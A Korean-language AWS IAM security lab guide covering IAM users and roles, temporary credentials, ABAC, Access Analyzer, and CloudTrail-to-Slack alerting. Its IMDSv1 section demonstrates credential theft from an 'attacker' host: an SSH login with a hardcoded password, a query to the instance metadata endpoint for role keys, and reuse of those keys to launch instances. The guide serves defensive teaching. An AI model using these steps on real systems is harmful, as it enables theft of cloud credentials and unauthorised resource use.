Home
home

섹션 05 - AWS IAM 보안 접근 구성

1. 기본 환경 구성

이번 실습은 IAM 사용자 계정을 통해 관리 콘솔에 접근하고 액세스 키를 활용해 awscli 도구를 사용합니다.
해당 작업을 수행하지 않았다면 아래 토글을 확장해 작업을 선행하고 본격적인 실습에 들어갑니다.
IAM 사용자 생성 및 액세스 키 생성

1.1. Terraform을 통한 기본 인프라 배포

Terraform을 통한 기본 인프라 배포에 앞서 SSH 키 페어, IAM User Access Key ID, IAM User Secret Access Key를 미리 확인하고 메모해 둡니다.
Terraform으로 기본 인프라 배포
cd cnasg_class_tf/Section05
Bash
복사
# 실습 코드 경로 진입
export TF_VAR_KeyName=[각자 ssh keypair] export TF_VAR_NickName=[각자 닉네임] export TF_VAR_MyIamUserAccessKeyID=[각자 iam 사용자의 access key id] export TF_VAR_MyIamUserSecretAccessKey=[각자 iam 사용자의 secret access key] export TF_VAR_SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32
Bash
복사
# Terraform 환경 변수 저장
terraform init terraform plan
Bash
복사
# Terraform 배포
nohup sh -c "terraform apply -auto-approve" > create.log 2>&1 &
Bash
복사
Note:  Terraform 배포가 완료되면(약 3분 정도 대기) 정상적으로 자원 생성이 되었는지 확인을 합니다.(cat create.log)

1.2. 기본 정보 확인 및 설정

Terraform 배포가 완료 후 출력되는 Outputs 정보에서 lab_admin_iplab_attacker_ip의 퍼블릭 IP를 확인합니다.
각각의 IP로 인스턴스에 SSH로 접속하고 아래 명령어를 통해 정보를 확인합니다.
LAB-ADMIN & LAB-ATTACKER
기본 설정 확인
sudo -i
Bash
복사
# superuser
aws --version
Bash
복사
# awscli 설치 및 버전 확인
aws sts get-caller-identity
Bash
복사
# caller id 확인
aws s3 ls
Bash
복사
# awscli로 s3 bucket list 확인

2. IAM 기본 실습

2.1. IAM User 생성 및 확인

신규 IAM User를 생성하고 인증 설정과 권한 정책을 정의하고, 실제 동작을 확인합니다.
LAB-ADMIN
IAM User 생성 및 Password 설정
aws iam create-user --user-name user1 aws iam create-user --user-name user2
Bash
복사
# IAM User 생성 (user1/user2) 생성
aws iam create-login-profile \ --user-name user1 \ --password '<각자 비밀 번호>' aws iam create-login-profile \ --user-name user2 \ --password '<각자 비밀 번호>'
Bash
복사
# IAM User 관리 콘솔 로그인용 패스위드 생성
IAM User의 Password는 최소한의 규칙이 있습니다.
8자 이상
대문자, 소문자, 기타(숫자, 특수문자)
IAM User 권한 정책 설정
aws iam attach-user-policy \ --user-name user1 \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam attach-user-policy \ --user-name user2 \ --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess
Bash
복사
# IAM User 권한 정책 연결
aws iam list-users | jq
Bash
복사
# IAM User 리스트 확인
각각의 IAM User 별로 관리 콘솔에 접근 후 EC2 인스턴스 생성과 삭제 작업 수행해 봅니다.
IAM User 액세스 키 생성
aws iam create-access-key --user-name user1 aws iam create-access-key --user-name user2
Bash
복사
# IAM User에게 프로그래밍 방식 액세스 키 생성
LAB-ATTACKER
자격 증명 확인
aws sts get-caller-identity
Bash
복사
# caller id 확인
aws s3 ls
Bash
복사
# awscli로 s3 bucket list 확인
cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
자격 증명 프로파일 생성
aws configure --profile user1
Bash
복사
# user1 자격증명 profile 생성
aws configure --profile user2
Bash
복사
# user2 자격증명 profile 생성
cat ~/.aws/config cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
프로파일 별 자격 증명 및 권한 확인
aws sts get-caller-identity --profile user1 | jq aws sts get-caller-identity --profile user2 | jq
Bash
복사
# caller id 확인
aws s3 ls --profile user1 aws s3 ls --profile user2 aws ec2 describe-vpcs --profile user1 | jq aws ec2 describe-vpcs --profile user2 | jq
Bash
복사
# 버킷 조회 및 vpc 조회
aws s3 mb s3://cnasg-st5-$NICKNAME --region ap-northeast-2 --profile user1 aws s3 mb s3://cnasg-st5-$NICKNAME-2 --region ap-northeast-2 --profile user2
Bash
복사
# S3 버킷 생성
aws s3 ls --profile user2
Bash
복사
# S3 버킷 조회

2.2. 임시 자격 증명

신규 IAM Role을 생성한 후 임시 자격 증명을 통해 일정 기간 동안 권한을 수행하는 실습입니다.
LAB-ADMIN
IAM 역할 생성
cat << EOF > trust-policy.json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::$ACCOUNT_ID:user/user2" }, "Action": "sts:AssumeRole", "Condition": {} } ] } EOF
Bash
복사
# 신뢰 정책 생성
aws iam create-role \ --role-name S3FullForUser2 \ --assume-role-policy-document file://trust-policy.json \ --max-session-duration 7200
Bash
복사
# 임시 자격 iam role 생성 (2시간 설정, 최대 12시간 가능)
aws iam attach-role-policy \ --role-name S3FullForUser2 \ --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
Bash
복사
# AmazonS3FullAccess 권한 연결
LAB-ATTACKER
임시 자격 증명 획득
export ACCOUNT_ID=$(aws sts get-caller-identity \ --query 'Account' \ --output text \ --profile user2)
Bash
복사
# ACCOUNT_ID 변수 선언
aws sts assume-role \ --role-arn arn:aws:iam::${ACCOUNT_ID}:role/S3FullForUser2 \ --role-session-name cnasg-labsession \ --profile user2 \ --duration-seconds 3600 \ > assume-output.json cat assume-output.json | jq
Bash
복사
# 임시 자격 증명 획득 및 인증 정보 확인 (user2 profile)
임시 자격 증명 등록 (Profile user2-s3)
aws configure set aws_access_key_id \ "$(jq -r '.Credentials.AccessKeyId' assume-output.json)" \ --profile user2-s3 aws configure set aws_secret_access_key \ "$(jq -r '.Credentials.SecretAccessKey' assume-output.json)" \ --profile user2-s3 aws configure set aws_session_token \ "$(jq -r '.Credentials.SessionToken' assume-output.json)" \ --profile user2-s3
Bash
복사
# Profile user2-s3 credential 설정
cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
aws sts get-caller-identity \ --profile user2-s3 | jq
Bash
복사
# Profile user2-s3 caller identity 확인
임시 자격 증명 권한 확인
aws s3 mb s3://cnasg-st5-$NICKNAME-2 \ --region ap-northeast-2 \ --profile user2-s3
Bash
복사
# S3 버킷 생성 (profile user2-s3)
echo "hello world" > /tmp/hello.txt aws s3 cp /tmp/hello.txt s3://cnasg-st5-$NICKNAME-2/hello.txt \ --profile user2-s3 aws s3 cp s3://cnasg-st5-$NICKNAME-2/hello.txt - \ --profile user2-s3
Bash
복사
# 객체 업로드 및 파일 내용 확인 (profile user2-s3)
aws s3 ls s3://cnasg-st5-$NICKNAME-2/ --profile user2-s3 aws s3 ls --profile user2-s3
Bash
복사
# 리스트 확인 (profile user2-s3)
aws s3 rb s3://cnasg-st5-$NICKNAME --force --profile user2-s3 aws s3 rb s3://cnasg-st5-$NICKNAME-2 --force --profile user2-s3
Bash
복사
# 버킷 삭제 (profile user2-s3)

2.3. ABAC 확인

Attribute-Based Access Control로 속성(태그) 기반으로 접근 권한을 정의하고 실습으로 확인합니다.
LAB-ADMIN
테스트용 인스턴스 생성
aws ec2 run-instances \ --image-id $(aws ssm get-parameter --name /aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64 --query "Parameter.Value" --output text) \ --instance-type t2.nano \ --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ABAC-TEST}]'
Bash
복사
# 테스트용 인스턴스 생성
ABAC 정책 생성 및 연결
cat << EOF > ec2-abac-policy.json { "Version": "2012-10-17", "Statement": [ { "Sid": "AllowTerminateForMatchingTeamTag", "Effect": "Allow", "Action": "ec2:TerminateInstances", "Resource": "*", "Condition": { "StringEquals": { "aws:ResourceTag/team": "\${aws:PrincipalTag/team}" } } } ] } EOF
Bash
복사
# ec2-abac-policy.json 생성
aws iam put-user-policy \ --user-name user2 \ --policy-name CNASG-ABAC-EC2-Terminate \ --policy-document file://ec2-abac-policy.json
Bash
복사
# 인라인 정책으로 user2에 연결
aws iam list-attached-user-policies --user-name user2
Bash
복사
# user2에 연결된 관리형 정책 확인
aws iam list-user-policies --user-name user2
Bash
복사
# user2에 연결된 인라인 정책 확인
aws iam tag-user --user-name user2 --tags Key=team,Value=red aws iam list-user-tags --user-name user2
Bash
복사
# user2에 태그 적용 및 확인
LAB-ATTACKER
기본 상태에서 인스턴스 종료 시도
TEST_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=ABAC-TEST" \ --query "Reservations[].Instances[].InstanceId" --output text --profile user2) echo $TEST_ID
Bash
복사
# ABAC-TEST 인스턴스 ID 변수 선언
aws ec2 terminate-instances \ --instance-ids $TEST_ID \ --profile user2
Bash
복사
# user2 profile로 대상 인스턴스 종료
테스트용 인스턴스에 태그 설정 후 인스턴스 종료 시도
aws ec2 create-tags \ --resources $TEST_ID \ --tags Key=team,Value=red \ --profile user1
Bash
복사
# user1 profile로 대상 인스턴스 태그 추가
aws ec2 describe-instances \ --query 'Reservations[].Instances[].{ID:InstanceId,Name:Tags[?Key==`Name`]|[0].Value,Team:Tags[?Key==`team`]|[0].Value}' \ --output table \ --profile user1
Bash
복사
# user1 profile로 대상 인스턴스 태그 확인
aws ec2 terminate-instances \ --instance-ids $TEST_ID \ --profile user2
Bash
복사
# user2 profile로 대상 인스턴스 종료 (재시도)
모든 자격 증명 삭제
aws configure list-profiles
Bash
복사
# LAB-ATTACKER에 구성된 aws Profile 확인
rm -vrf ~/.aws/credentials ~/.aws/config
Bash
복사
# LAB-ATTACKER 모든 권한 제거

2.4. IMDSv1 취약점

IMDS는 Instance MetaData System으로 인스턴스의 메타데이터 정보를 확인할 수 있습니다.
IMDS version 1의 취약점에 따른 권한 탈취 행위를 실습으로 확인합니다.
LAB-ADMIN
IMDS 설정 확인
ADMIN_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=LAB-ADMIN" \ --query "Reservations[].Instances[].InstanceId" --output text) ATTACKER_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=LAB-ATTACKER" \ --query "Reservations[].Instances[].InstanceId" --output text) echo $ADMIN_ID; echo $ATTACKER_ID
Bash
복사
# Instance ID 변수 선언
aws ec2 describe-instances \ --instance-ids $ADMIN_ID \ --query 'Reservations[].Instances[].MetadataOptions' | jq
Bash
복사
# [LAB-ADMIN] IMDS 설정 확인
aws ec2 describe-instances \ --instance-ids $ATTACKER_ID \ --query 'Reservations[].Instances[].MetadataOptions' | jq
Bash
복사
# [LAB-ATTACKER] IMDS 설정 확인
Instance Profile - 정책 정의
cat << EOF > ec2-basic-policy.json { "Version": "2012-10-17", "Statement": [ { "Sid": "EC2BasicControl", "Effect": "Allow", "Action": [ "ec2:DescribeInstances", "ec2:StartInstances", "ec2:StopInstances", "ec2:TerminateInstances", "ec2:RunInstances", "ec2:CreateTags" ], "Resource": "*" } ] } EOF
Bash
복사
# Instance Profile을 위한 권한 정책
cat << EOF > ec2-role-trust.json { "Version": "2012-10-17", "Statement":[ { "Effect":"Allow", "Principal":{"Service":"ec2.amazonaws.com"}, "Action":"sts:AssumeRole" } ] } EOF
Bash
복사
# Instance Profile을 위한 신뢰 정책
Instance Profile - 역할 생성
aws iam create-role \ --role-name EC2-InstanceProfileRole \ --assume-role-policy-document file://ec2-role-trust.json
Bash
복사
# IAM Role 생성
aws iam put-role-policy \ --role-name EC2-InstanceProfileRole \ --policy-name CNASG-EC2Control \ --policy-document file://ec2-basic-policy.json
Bash
복사
# IAM Role에 Policy 연결 (인라인)
aws iam list-role-policies --role-name EC2-InstanceProfileRole
Bash
복사
# IAM Role에 연결된 Policy 확인 (인라인)
LAB-ADMIN에 Instance Profile 생성
aws iam create-instance-profile \ --instance-profile-name CNASG-AdminInstanceProfile
Bash
복사
# Instance Profile 생성 (for LAB-ADMIN)
aws iam add-role-to-instance-profile \ --instance-profile-name CNASG-AdminInstanceProfile \ --role-name EC2-InstanceProfileRole
Bash
복사
# Instance Profile에 IAM Role 연결 (for LAB-ADMIN)
aws ec2 associate-iam-instance-profile \ --instance-id $ADMIN_ID \ --iam-instance-profile Name=CNASG-AdminInstanceProfile
Bash
복사
# LAB-ADMIN에 Instance Profile 연결
aws ec2 describe-instances \ --instance-ids $ADMIN_ID \ --query 'Reservations[].Instances[].IamInstanceProfile' \ --output json
Bash
복사
# LAB-ADMIN에 Instance Profile 확인
LAB-ATTACKER
IMDSv1 정보 확인
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \ hostname
Bash
복사
# LAB-ADMIN에 ssh 접근
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \ curl -s http://169.254.169.254/latest/meta-data/
Bash
복사
# LAB-ADMIN에 imds 동작 확인
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials
Bash
복사
# LAB-ADMIN에 Instance Profile 확인
Instance Profile의 IAM 정보가 출력 되기까지 약간의 대기 시간이 필요합니다.
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-InstanceProfileRole \ > profile-output.json cat profile-output.json | jq
Bash
복사
# LAB-ADMIN에 Instance Profile의 자격 증명 정보 확인
export AWS_ACCESS_KEY_ID=$(jq -r '.AccessKeyId' profile-output.json) export AWS_SECRET_ACCESS_KEY=$(jq -r '.SecretAccessKey' profile-output.json) export AWS_SESSION_TOKEN=$(jq -r '.Token' profile-output.json) echo $AWS_ACCESS_KEY_ID echo $AWS_SECRET_ACCESS_KEY echo $AWS_SESSION_TOKEN
Bash
복사
# 탈취한 자격 증명 변수 선언
탈취한 권한 확인
aws ec2 describe-instances \ --query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`]|[0].Value,State:State.Name}' \ --output table
Bash
복사
# 인스턴스 조회 확인
source /etc/profile aws ec2 run-instances \ --image-id $AMI_ID \ --instance-type t2.nano \ --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ATTACKER-TEST}]'
Bash
복사
# 공격자용 인스턴스 생성
aws ec2 describe-instances \ --query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`]|[0].Value,State:State.Name}' \ --output table
Bash
복사
# 인스턴스 조회 확인
ATTACK_TEST_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=ATTACKER-TEST" \ --query "Reservations[].Instances[].InstanceId" --output text) echo $ATTACK_TEST_ID
Bash
복사
# 공격자용 인스턴스 ID 변수 선언 및 확인
aws ec2 terminate-instances \ --instance-ids $ATTACK_TEST_ID
Bash
복사
# 공격자용 인스턴스 종료
자격 증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
Bash
복사
# 임시자격증명 제거

3. IAM 활용 및 대응

3.1. IAM Access Analyzer

IAM 권한 부여 내역과 정책을 자동으로 분석하는 기능을 사용해 봅니다.
LAB-ADMIN
IAM Access Analyzer 생성
aws accessanalyzer create-analyzer \ --analyzer-name CNASG-Analyzer \ --type ACCOUNT
Bash
복사
# IAM Access Analyzer 생성 (Account 단위)
IAM Access Analyzer의 유형(--type)은 6가지로 분류할 수 있습니다.
ACCOUNT: Account 단위 - External Access
ORGANIZATION: Organization 단위 - External Access
ACCOUNT_INTERNAL_ACCESS: Account 단위 - Internal Access
ORGANIZATION_INTERNAL_ACCESS: Organization 단위 - Internal Access
ACCOUNT_UNUSED_ACCESS: Account 단위 - Unused Access
ORGANIZATION_UNUSED_ACCESS: Organization 단위 - Unused Access
AA_ARN="arn:aws:access-analyzer:ap-northeast-2:$ACCOUNT_ID:analyzer/CNASG-Analyzer" echo $AA_ARN
Bash
복사
# IAM AA arn 변수 선언
[Case1] 실습용 버킷 생성
aws s3 mb s3://cnasg-aa-$NICKNAME --region ap-northeast-2
Bash
복사
# 실습용 S3 버킷 생성
cat << EOF > bucket-policy.json { "Version":"2012-10-17", "Statement":[ { "Sid":"AllowPublicRead", "Effect":"Allow", "Principal":"*", "Action":"s3:GetObject", "Resource":"arn:aws:s3:::cnasg-aa-$NICKNAME/*" } ] } EOF
Bash
복사
# 퍼블릭 객체 읽기 허용 버킷 정책 생성
aws s3api put-public-access-block --bucket "cnasg-aa-$NICKNAME" \ --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=false,RestrictPublicBuckets=false
Bash
복사
# 퍼블릭 액세스 차단 설정 (정책만 허용하고 나머지는 차단)
aws s3api put-bucket-policy \ --bucket cnasg-aa-$NICKNAME \ --policy file://bucket-policy.json
Bash
복사
# 버킷 정책 적용
[Case1] IAM Access Analyzer 결과 조회
aws accessanalyzer list-findings \ --analyzer-arn $AA_ARN \ --max-results 20
Bash
복사
# Analyzer 결과(Findings) 조회
aws accessanalyzer list-findings \ --analyzer-arn $AA_ARN \ --query "findings[?resource=='arn:aws:s3:::cnasg-aa-$NICKNAME']" | jq
Bash
복사
# 특정 버킷(cnasg-aa-$NICKNAME)에 대한 Findings만 필터링해서 보기
IAM Access Analyzer가 대상을 감지하기까지 약간의 대기가 필요할 수 있습니다.
[Case1] 실습용 버킷 삭제
aws s3 rb s3://cnasg-aa-$NICKNAME --force
Bash
복사
# 버킷 삭제 (내용 포함 강제 삭제)
[Case2] 실습용 IAM 역할 생성
ROLE_NAME="CNASG-PublicAssumeRole"
Bash
복사
# 실습용 IAM 역할 이름 정의
cat > trust-public.json <<'EOF' { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "sts:AssumeRole" }] } EOF
Bash
복사
# 신뢰 정책 생성: 누구나(* ) AssumeRole 가능
aws iam create-role \ --role-name "$ROLE_NAME" \ --assume-role-policy-document file://trust-public.json
Bash
복사
# 역할 생성
cat > perm-min.json <<'EOF' { "Version": "2012-10-17", "Statement": [{ "Sid": "ListBucketsOnly", "Effect": "Allow", "Action": [ "s3:ListAllMyBuckets" ], "Resource": "*" }] } EOF aws iam put-role-policy \ --role-name "$ROLE_NAME" \ --policy-name CNASG-ListBucketsOnly \ --policy-document file://perm-min.json
Bash
복사
# 아주 제한적인 권한 부여(예: S3 ListBuckets만)
[Case2] IAM Access Analyzer 결과 조회
aws accessanalyzer list-findings \ --analyzer-arn "$AA_ARN" \ --query "findings[?resource=='arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME']" | jq
Bash
복사
# 특정 IAM 역할에 대한 Access Analyzer Findings 필터링 조회
IAM Access Analyzer가 대상을 감지하기까지 약간의 대기가 필요할 수 있습니다.
[Case2] 실습용 IAM 역할 삭제
aws iam delete-role-policy \ --role-name "$ROLE_NAME" \ --policy-name CNASG-ListBucketsOnly
Bash
복사
# 인라인 정책 제거
aws iam delete-role \ --role-name "$ROLE_NAME"
Bash
복사
# 역할 삭제

3.2. 보안 이벤트 알림 (Slack Webhook)

보안 이벤트를 신속하게 파악하기 위한 Slack Webhook을 통한 알림 구성을 실습합니다.
Slack 채널 생성
1.
Slack 워크스페이스 접속
2.
채널 → [추가 작업] → 생성 → 채널 생성
3.
채널 이름 : aws-alerts
a.
다음 (버튼 클릭)
4.
가시성 : 공개
a.
생성 (버튼 클릭)
Slack App 생성 (Webhook 발급용)
1. Slack API 페이지 접속
2. Create an App → From scratch 선택
3. App Name: aws-webhook
4. Workspace: 본인 워크스페이스 선택
5. Create App 클릭
Webhook 기능 활성화
1.
Features에서 Incoming Webhooks 선택
2.
상단의 Activate Incoming Webhooks → ON
3.
아래쪽으로 스크롤 → Add New Webhook 클릭
4.
방금 만든 채널(aws-alerts) 선택 → “허용”
5.
생성된 Webhook URL 복사
LAB-ADMIN
CloudTrail용 S3 생성
export TRAIL_BUCKET="cnasg-cloudtrail-$NICKNAME"
Bash
복사
# cloudtrail 용 s3 버킷 이름
aws s3 mb s3://$TRAIL_BUCKET --region ap-northeast-2
Bash
복사
# cloudtrail 용 s3 버킷 생성
cat << EOF > trail-bucket-policy.json { "Version": "2012-10-17", "Statement": [ { "Sid": "AWSCloudTrailAclCheck", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "s3:GetBucketAcl", "Resource": "arn:aws:s3:::$TRAIL_BUCKET" }, { "Sid": "AWSCloudTrailWrite", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "s3:PutObject", "Resource": "arn:aws:s3:::$TRAIL_BUCKET/AWSLogs/${ACCOUNT_ID}/*", "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" } } } ] } EOF
Bash
복사
# cloudtrail 용 s3 버킷 정책 생성
aws s3api put-bucket-policy \ --bucket $TRAIL_BUCKET \ --policy file://trail-bucket-policy.json
Bash
복사
# cloudtrail 용 s3 버킷 정책 연결
CloudTrail 생성 및 확인
aws cloudtrail create-trail \ --name CNASG-SecurityTrail \ --s3-bucket-name $TRAIL_BUCKET \ --is-multi-region-trail
Bash
복사
# cloudtrail 생성 (multi-region-trail)
aws cloudtrail get-event-selectors \ --trail-name CNASG-SecurityTrail
Bash
복사
# 이벤트 셀렉터 정보 확인
aws cloudtrail start-logging --name CNASG-SecurityTrail
Bash
복사
# 이벤트 로그 활성화
aws s3 ls s3://cnasg-cloudtrail-$NICKNAME/AWSLogs/$ACCOUNT_ID/CloudTrail/
Bash
복사
# cloudtrail용 s3 버킷 확인
이벤트 브릿지 생성
cat << 'EOF' > ec2-security-events.json { "source": ["aws.ec2"], "detail-type": ["AWS API Call via CloudTrail"], "detail": { "eventSource": ["ec2.amazonaws.com"], "eventName": ["RunInstances", "TerminateInstances"] } } EOF
Bash
복사
# 이벤트 패턴을 파일로 생성
aws events put-rule \ --name CNASG-EC2-SecurityEvents \ --event-pattern file://ec2-security-events.json \ --state ENABLED
Bash
복사
# EventBridge 규칙 생성
Lambda 함수 파일 생성
cat << 'EOF' > slack-notify-ec2.py import json import os import urllib.request WEBHOOK_URL = os.environ.get("SLACK_WEBHOOK_URL") def lambda_handler(event, context): detail = event.get("detail", {}) event_name = detail.get("eventName", "UnknownEvent") user_arn = detail.get("userIdentity", {}).get("arn", "UnknownUser") region = event.get("region", "UnknownRegion") # EC2 인스턴스 ID 추출 instance_ids = [] if "responseElements" in detail: relem = detail["responseElements"] if event_name == "RunInstances": instances = relem.get("instancesSet", {}).get("items", []) for i in instances: instance_ids.append(i.get("instanceId")) elif event_name == "TerminateInstances": items = relem.get("instancesSet", {}).get("items", []) for i in items: instance_ids.append(i.get("instanceId")) instance_list = ", ".join([i for i in instance_ids if i]) or "N/A" # 슬랙으로 전송할 짧은 메시지 text = f"[CNASG] EC2 {event_name} by {user_arn.split('/')[-1]} ({region}) – {instance_list}" payload = {"text": text} req = urllib.request.Request( WEBHOOK_URL, data=json.dumps(payload).encode("utf-8"), headers={"Content-Type": "application/json"}, method="POST", ) with urllib.request.urlopen(req) as resp: resp.read() return {"status": "ok"} EOF
Bash
복사
# Lambda 함수 코드 생성
zip slack-notify-ec2.zip slack-notify-ec2.py
Bash
복사
# zip으로 압축
Lambda 구성을 위한 IAM 설정
cat << 'EOF' > lambda-basic-role-trust.json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } EOF
Bash
복사
# Lambda 신뢰 정책 생성
aws iam create-role \ --role-name CNASG-LambdaSlackRole \ --assume-role-policy-document file://lambda-basic-role-trust.json
Bash
복사
# IAM Role 생성 (신뢰 정책)
aws iam attach-role-policy \ --role-name CNASG-LambdaSlackRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole
Bash
복사
# IAM Policy 연결 (권한 정책)
LAMBDA_ROLE_ARN=$(aws iam get-role \ --role-name CNASG-LambdaSlackRole \ --query 'Role.Arn' \ --output text) echo $LAMBDA_ROLE_ARN
Bash
복사
# LAMBDA_ROLE_ARN 변수 선언
Lambda 함수 생성
export SLACK_WEBHOOK_URL=<각자의 URL>
Bash
복사
# SLACK_WEBHOOK_URL 변수 선언
aws lambda create-function \ --function-name CNASG-SendSlack-EC2Events \ --runtime python3.12 \ --role $LAMBDA_ROLE_ARN \ --handler slack-notify-ec2.lambda_handler \ --zip-file fileb://slack-notify-ec2.zip \ --environment "Variables={SLACK_WEBHOOK_URL=$SLACK_WEBHOOK_URL}"
Bash
복사
# Lambda Function 생성
이벤트 브릿지와 Lambda 연결
aws events put-targets \ --rule CNASG-EC2-SecurityEvents \ --targets "Id"="1","Arn"="$(aws lambda get-function --function-name CNASG-SendSlack-EC2Events --query 'Configuration.FunctionArn' --output text)"
Bash
복사
# EventBridge Rule -> Lambda Fuction
aws lambda add-permission \ --function-name CNASG-SendSlack-EC2Events \ --statement-id AllowEventBridgeInvoke \ --action lambda:InvokeFunction \ --principal events.amazonaws.com \ --source-arn arn:aws:events:ap-northeast-2:$ACCOUNT_ID:rule/CNASG-EC2-SecurityEvents
Bash
복사
# EventBridge가 Lambda를 호출할 수 있게 권한 열기

4. 실습 환경 삭제

LAB-ADMIN
생성한 자원 삭제
ASSOC_ID=$(aws ec2 describe-iam-instance-profile-associations \ --filters "Name=instance-id,Values=$ADMIN_ID" --query 'IamInstanceProfileAssociations[0].AssociationId' --output text) echo $ASSOC_ID aws ec2 disassociate-iam-instance-profile \ --association-id $ASSOC_ID
Bash
복사
# 인스턴스에서 프로파일 분리
aws iam remove-role-from-instance-profile \ --instance-profile-name CNASG-AdminInstanceProfile \ --role-name EC2-InstanceProfileRole aws iam delete-instance-profile \ --instance-profile-name CNASG-AdminInstanceProfile
Bash
복사
# Instance Profile에서 역할 제거, 인스턴스프로파일 삭제
aws iam detach-role-policy \ --role-name S3FullForUser2 \ --policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess aws iam delete-role-policy \ --role-name EC2-InstanceProfileRole \ --policy-name CNASG-EC2Control
Bash
복사
# 역할에 정책 연결 해제
aws iam delete-role \ --role-name S3FullForUser2 aws iam delete-role \ --role-name EC2-InstanceProfileRole
Bash
복사
# 역할 삭제
aws accessanalyzer delete-analyzer \ --analyzer-name CNASG-Analyzer
Bash
복사
# IAM Access Analyzer 삭제
aws lambda delete-function \ --function-name CNASG-SendSlack-EC2Events
Bash
복사
# Lambda 함수 삭제
aws events remove-targets \ --rule CNASG-EC2-SecurityEvents --ids 1 aws events delete-rule \ --name CNASG-EC2-SecurityEvents
Bash
복사
# EventBridge 규칙 삭제
aws cloudtrail stop-logging \ --name CNASG-SecurityTrail aws cloudtrail delete-trail \ --name CNASG-SecurityTrail
Bash
복사
# 생성한 CloudTrail 비활성화 및 삭제
aws s3 rb s3://cnasg-cloudtrail-$NICKNAME --force
Bash
복사
# CloudTrail용 S3 버킷 삭제
aws iam detach-role-policy \ --role-name CNASG-LambdaSlackRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole aws iam delete-role \ --role-name CNASG-LambdaSlackRole
Bash
복사
# IAM Role 정리
aws logs delete-log-group \ --log-group-name "/aws/lambda/CNASG-SendSlack-EC2Events"
Bash
복사
# CloudWatch 로그 그룹 삭제
Slack Webhook 및 채널 삭제
Slack App 페이지 → 대상 App Name → Basic Information → 페이지 하단 → Delete App → Yes, I’m sure
Slack → 대상 채널(#aws-alerts) → 추가 정보(상단 …) → 채널 세부정보 열기 → 설정 → 이 채널 삭제 → 채널 삭제
IAM User 삭제
IAM 서비스 → 사용자 → 대상 선택 → 삭제 → 액세스 키 비활성화 → confirm 입력
Terraform 자원 삭제
nohup sh -c "terraform destroy -auto-approve" > delete.log 2>&1 &
Bash
복사
# terraform 자원 삭제
Note:  Terraform 자원 삭제가 완료되면(약 3분 정도 대기) 정상적으로 자원 삭제가 되었는지 확인을 합니다.(cat delete.log)
여기까지 섹션 05 실습 -AWS IAM 보안 접근 구성을 마칩니다.
수고하셨습니다 :)